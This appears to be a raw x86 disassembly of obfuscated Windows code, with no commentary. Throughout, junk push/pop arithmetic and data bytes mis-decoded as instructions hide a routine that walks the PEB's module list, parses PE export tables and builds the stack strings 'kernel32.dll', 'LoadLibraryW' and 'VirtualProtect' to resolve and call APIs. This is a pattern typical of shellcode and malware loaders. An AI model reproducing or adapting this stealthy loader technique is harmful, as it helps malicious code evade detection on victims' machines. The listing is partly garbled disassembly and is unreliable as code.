movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x508b84
push ebx
push ecx
add esp, 4
or ebx, 0x3474
pop ebx
push ebx
add ebx, 0x17c44
pop ebx
push edi
push ebx
add esp, 4
sub edi, 0x158d8
pop edi
push edi
push edx
add esp, 4
or edi, 0xaa64
add edi, 0x53d4
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x508b76
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x508b7d
jmp 0x508ac3
jmp 0x508b84
push ebx
add ebx, 0x15aae
add ebx, 0xb7ea
pop ebx
push ecx
push eax
add esp, 4
or ecx, 0x14e37
sub ecx, 0xf1ee
pop ecx
push edi
jmp 0x508bad
pop edi
push ecx
sub ecx, 0xf46e
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x508be3
mov dword [ebp - 0xc30], 0
jmp 0x508c52
push edx
or edx, 0x3d76
or edx, 0x16fa1
or edx, 0x191b
pop edx
push esi
push ecx
add esp, 4
or esi, 0x7cad
sub esi, 0x16268
add esi, 0x15b42
sub esi, 0x7e4c
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x508c48
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x508c52
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x508c69
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x508c7a
jmp 0x508a53
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x508d55
push ebx
push edi
add esp, 4
xor ebx, 0x86a5
or ebx, 0xe1bd
pop ebx
push eax
push edx
add esp, 4
add eax, 0x2d55
and eax, 0xe259
or eax, 0xd825
pop eax
push edx
and edx, 0xe80e
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
push edx
add esp, 4
sub esi, 0x3917
and esi, 0x62cc
xor esi, 0x170c5
and esi, 0xfec1
pop esi
push edx
push eax
add esp, 4
add edx, 0x1db9
pop edx
push esi
or esi, 0x14fda
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x508d55
push edi
push edi
add esp, 4
or edi, 0x17ab2
pop edi
push edi
or edi, 0x8e66
xor edi, 0x129ac
pop edi
push esi
push esi
add esp, 4
sub esi, 0x150d3
and esi, 0x12956
and esi, 0x1d8f
pop esi
mov dword [ebp - 0x738], 0
jmp 0x50943f
push edx
push ecx
add esp, 4
xor edx, 0xcc2f
xor edx, 0x592c
and edx, 0x3ae1
add edx, 0x13e52
pop edx
push ecx
sub ecx, 0x7680
xor ecx, 0xba3f
or ecx, 0xb94c
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
call 0x508dbc
add byte [ebp + edi + 0x32], al
xor al, 0x3d
inc esp
xor al, 0x83
les eax, [edx + ebx*2]
push esi
push esi
add esp, 4
and esi, 0x9edf
pop esi
push ebx
push esi
add esp, 4
or ebx, 0xeeab
pop ebx
push esi
add esi, 0x2349
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x508df8
mov dword [ebp - 0x2e0], 0
jmp 0x50909f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
push eax
add esp, 4
call 0x508e1c
add byte [ebx], dh
inc ecx
dec eax
inc esp
dec esi
dec ebx
cmp eax, 0xeb04c483
add al, 0x4d
xor al, 0x47
inc eax
call 0x508e32
add byte [0x4c3f4446], dh
cmp edx, dword [eax - 0x7d]
les eax, [ecx + eax*4]
jmp 0x51e31f
push esi
xor esi, 0x5c55
xor esi, 0x1160c
sub esi, 0xf0a5
and esi, 0xa8d7
pop esi
push ebx
jmp 0x5090c2
jmp 0x5090ca
xor ebx, 0xb6
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
xor esi, 0x18040
add esi, 0x9721
pop esi
push ebx
push esi
add esp, 4
call 0x509102
add byte [edx + 0x50], cl
xor al, 0x50
aaa
cmp cl, byte [edx + edi + 0x38]
add esp, 4
and ebx, 0xdd6f
jmp 0x509111
pop ebx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x509142
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x509433
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x50916a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x509433
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x50919c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x509433
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x5091c1
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x509433
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x50921b
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x509427
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x50928b
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x50933d
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x50933d
push ebx
push eax
add esp, 4
sub ebx, 0x6a7d
or ebx, 0x924c
sub ebx, 0x887d
and ebx, 0xd995
pop ebx
push edi
and edi, 0x156de
and edi, 0xb22b
and edi, 0xbf29
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x50932f
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x509336
jmp 0x50927c
jmp 0x50933d
push edx
push ecx
add esp, 4
jmp 0x50934a
xor edx, 0x14534
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x10178
and ecx, 0x17ad7
sub ecx, 0x88c3
and ecx, 0x14012
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x50939c
mov dword [ebp - 0xc40], 0
jmp 0x50940b
push eax
xor eax, 0x10039
add eax, 0xa433
sub eax, 0x101a5
pop eax
push eax
push ecx
add esp, 4
sub eax, 0x15641
and eax, 0x1410e
xor eax, 0x1315e
and eax, 0x9171
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x509401
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x50940b
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x509422
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x509433
jmp 0x50920c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
or edx, 0x122f5
pop edx
push eax
push edx
add esp, 4
and eax, 0x414d
and eax, 0xc29d
pop eax
push eax
push esi
add esp, 4
add eax, 0x176fd
pop eax
push edi
push esi
add esp, 4
jmp 0x509470
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
sub ecx, 0x108d0
pop ecx
push eax
push eax
add esp, 4
and eax, 0x60d2
sub eax, 0x280a
add eax, 0xde04
add eax, 0x1527e
pop eax
push edx
push esi
add esp, 4
and edx, 0x2219
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x5094c4
cmp dword [ebp - 0xa5c], 0
jne 0x50950a
push eax
or eax, 0x218e
add eax, 0x65b
pop eax
push esi
call 0x5094e0
add byte [ebx + 0x44], cl
dec eax
push eax
dec edi
xor edi, dword [ebx]
add esp, 4
and esi, 0x431c
and esi, 0x8b96
or esi, 0x4bde
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
jmp 0x50951c
jmp 0x509524
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0x952
sub ebx, 0x17638
call 0x509542
add byte [edx], dh
aas
xor al, byte [edx + 0x4a]
inc eax
add esp, 4
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push edi
add esp, 4
sub eax, 0x16276
pop eax
push eax
add eax, 0xd090
or eax, 0xb658
and eax, 0x8aa
xor eax, 0xa09
pop eax
push edx
push edi
add esp, 4
and edx, 0xad8c
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push edi
add esp, 4
and eax, 0x14cb1
or eax, 0x13048
pop eax
push eax
or eax, 0x1c04
xor eax, 0x8684
pop eax
push esi
push ebx
add esp, 4
or esi, 0x15003
and esi, 0x9b3c
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push edi
add esp, 4
and ebx, 0x42c2
add ebx, 0x6c07
jmp 0x50967c
pop ebx
push ebx
or ebx, 0x3dd5
add ebx, 0x185ae
and ebx, 0xe6c7
and ebx, 0x89f5
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x5096af
mov dword [ebp - 0x2a8], 0
jmp 0x509956
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
add esi, 0x113f4
sub esi, 0x7a21
and esi, 0xe1b2
pop esi
push esi
jmp 0x5096dc
pop esi
push ecx
xor ecx, 0x10914
xor ecx, 0x181f7
pop ecx
push ebx
add ebx, 0x223
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x50970b
mov dword [ebp - 0x2a8], 0
jmp 0x509956
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
add ebx, 0x12677
xor ebx, 0xdb79
pop ebx
push edx
push edx
add esp, 4
sub edx, 0x12824
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0xd900
and ebx, 0x1635a
and ebx, 0x9b44
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push ecx
add esp, 4
call 0x509788
add byte [esi], bh
dec eax
dec esi
aas
cmp al, 0x3a
inc ebx
cmp byte [ebx - 0x7d], cl
les eax, [ecx + eax*4]
invalid
push esi
and esi, 0xbd3b
add esi, 0x4a88
sub esi, 0x10e4e
pop esi
push ecx
push ebx
add esp, 4
sub ecx, 0x14bc6
xor ecx, 0x15758
add ecx, 0x90db
jmp 0x509987
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x50a28d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
add eax, 0x9375
xor eax, 0xf72a
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x8f5e
sub eax, 0x237
and eax, 0xd9ff
pop eax
push edi
push esi
add esp, 4
add edi, 0xd300
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push edx
add esp, 4
xor edx, 0x9679
sub edx, 0x3f25
pop edx
push esi
push ecx
add esp, 4
or esi, 0xb9e5
and esi, 0xc792
add esi, 0x150c2
pop esi
push eax
or eax, 0x16c02
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x509b2d
mov dword [ebp - 0x710], 0
jmp 0x509dd4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push edi
add esp, 4
xor ebx, 0xbaa6
or ebx, 0xd78
and ebx, 0xe098
xor ebx, 0x1aa6
pop ebx
push esi
push eax
add esp, 4
xor esi, 0x12178
pop esi
push ecx
xor ecx, 0x4fc7
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x509b89
mov dword [ebp - 0x710], 0
jmp 0x509dd4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
push edx
add esp, 4
xor ebx, 0x1772a
xor ebx, 0x63e1
jmp 0x509bab
pop ebx
push edi
push edi
add esp, 4
call 0x509bbd
add byte [ebp + 0x4d], cl
xor cl, byte [esi + 0x3f]
xor eax, dword [ebx - 0x107efb3c]
xor eax, 0x5f00017f
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push esi
add esp, 4
sub eax, 0x13ebe
and eax, 0xc864
and eax, 0x15066
sub eax, 0x3cee
pop eax
push ecx
and ecx, 0xb0c2
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x68b1
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push edi
add esp, 4
sub esi, 0x6aec
or esi, 0x146dc
add esi, 0x7bd2
jmp 0x509c99
pop esi
push ebx
call 0x509ca8
add byte [ecx + 0x48], cl
inc esi
inc ebx
inc ebx
inc ecx
inc ebx
add esp, 4
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x509cc9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x509d23
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x509bf1
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x509bf1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x509d0d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x509d17
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x509d6c
push ebx
push ebx
add esp, 4
call 0x509d40
add byte [edi], bh
inc eax
aaa
inc edi
dec esp
inc esi
dec ebp
dec edx
cmp eax, 0x5b04c483
push esi
push ebx
add esp, 4
jmp 0x509d51
xor esi, 0xaca
sub esi, 0x114ad
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x509dd4
push ebx
push ebx
add esp, 4
xor ebx, 0x12f5c
sub ebx, 0x2f0a
pop ebx
push edi
push ebx
add esp, 4
xor edi, 0x120d0
xor edi, 0x15037
jmp 0x509d97
add edi, 0x11b55
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x509dca
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x509b95
mov dword [ebp - 0x710], 0
push ebx
call 0x509de1
add byte [edi], bh
aas
inc edx
xor dh, byte [esi]
add esp, 4
pop ebx
push eax
call 0x509df4
add byte [edi + 0x3c], al
cmp edi, dword [ecx + edi]
inc ecx
inc esi
push eax
add esp, 4
pop eax
push ebx
add ebx, 0x108d4
add ebx, 0x126e6
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x509e50
push eax
push eax
add esp, 4
or eax, 0x55d1
xor eax, 0xc69f
sub eax, 0xec8f
sub eax, 0x52b3
pop eax
push ebx
push esi
add esp, 4
add ebx, 0x2590
pop ebx
push ecx
or ecx, 0xcea7
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x50a978
push ecx
add ecx, 0xa3bd
call 0x509e64
add byte [esi + 0x44], cl
xor bh, byte [0x834c324f]
les eax, [ecx + ebx*2]
push eax
push edi
add esp, 4
xor eax, 0x8507
pop eax
push eax
xor eax, 0xd6bb
sub eax, 0x6ce3
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x509ec1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50a1b2
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x509ee9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50a1b2
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x509f1b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x50a1b2
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x509f40
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x50a1b2
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x509f9a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x50a1a6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x50a00a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50a0bc
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x50a0bc
push ecx
xor ecx, 0x3d2c
pop ecx
push edi
xor edi, 0xd7d7
and edi, 0x89ef
pop edi
push esi
add esi, 0x153b4
and esi, 0x103f
pop esi
push ecx
or ecx, 0x26b5
add ecx, 0x8751
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x50a0ae
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x50a0b5
jmp 0x509ffb
jmp 0x50a0bc
push edx
push edi
add esp, 4
and edx, 0x1845e
xor edx, 0xb25b
xor edx, 0x10943
xor edx, 0x10758
pop edx
push edi
add edi, 0xfee9
add edi, 0xcd18
sub edi, 0x13cc3
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x50a11b
mov dword [ebp - 0xc5c], 0
jmp 0x50a18a
push ebx
sub ebx, 0x14dc6
call 0x50a131
add byte [eax + 0x46], cl
dec esi
aaa
dec ebx
inc esp
dec esi
dec ebx
cmp byte [ebx - 0x347efb3c], al
add ax, word [eax]
add byte [ebx + 0x57], bl
push edx
add esp, 4
xor edi, 0xf183
xor edi, 0x23
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x50a180
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x50a18a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x50a1a1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x50a1b2
jmp 0x509f8b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x50a28d
push edi
add edi, 0x67b7
add edi, 0x136e3
pop edi
push eax
push esi
add esp, 4
xor eax, 0x10e7f
pop eax
push esi
push ecx
add esp, 4
add esi, 0x1971
add esi, 0x550b
or esi, 0xbc5b
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
jmp 0x50a206
call 0x50a213
add byte [edi], bh
inc ebp
xor al, 0x4c
cmp ecx, dword [esi + 0x4c]
add esp, 4
add esi, 0x7db
sub esi, 0x5cce
pop esi
push eax
push ebx
add esp, 4
and eax, 0x17229
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x50a28d
push eax
push ebx
add esp, 4
or eax, 0x12811
pop eax
push edx
push eax
add esp, 4
and edx, 0x812a
pop edx
push edx
add edx, 0x3caa
or edx, 0x891e
pop edx
push edi
push edi
add esp, 4
sub edi, 0x581c
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x50a978
push ecx
push eax
add esp, 4
sub ecx, 0xd366
and ecx, 0x10ba3
and ecx, 0x3b56
xor ecx, 0x109a8
pop ecx
push edx
push eax
add esp, 4
xor edx, 0x13b61
pop edx
push ecx
or ecx, 0xf127
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
jmp 0x50a2ef
add ebx, 0x1763a
and ebx, 0x1158e
call 0x50a309
add byte [ecx + 0x3c], cl
cmp al, 0x4a
inc eax
aas
dec ecx
push eax
add esp, 4
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0x162c1
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x50a331
mov dword [ebp - 0x2a8], 0
jmp 0x50a5d8
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
push edi
add esp, 4
or ebx, 0x1af2
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x14f54
pop esi
push edi
sub edi, 0x4989
and edi, 0x31fa
and edi, 0xdd5f
or edi, 0x14132
pop edi
cmp dword [ebp - 0xc68], 0
jne 0x50a38d
mov dword [ebp - 0x2a8], 0
jmp 0x50a5d8
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
push edi
add esp, 4
call 0x50a3ae
add byte [esi], dh
dec esp
inc ecx
inc esi
aaa
inc eax
inc ebp
inc esi
cmp al, 0x48
add esp, 4
sub eax, 0x74b5
jmp 0x50a3bc
sub eax, 0x9b8d
pop eax
push edx
add edx, 0x7056
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
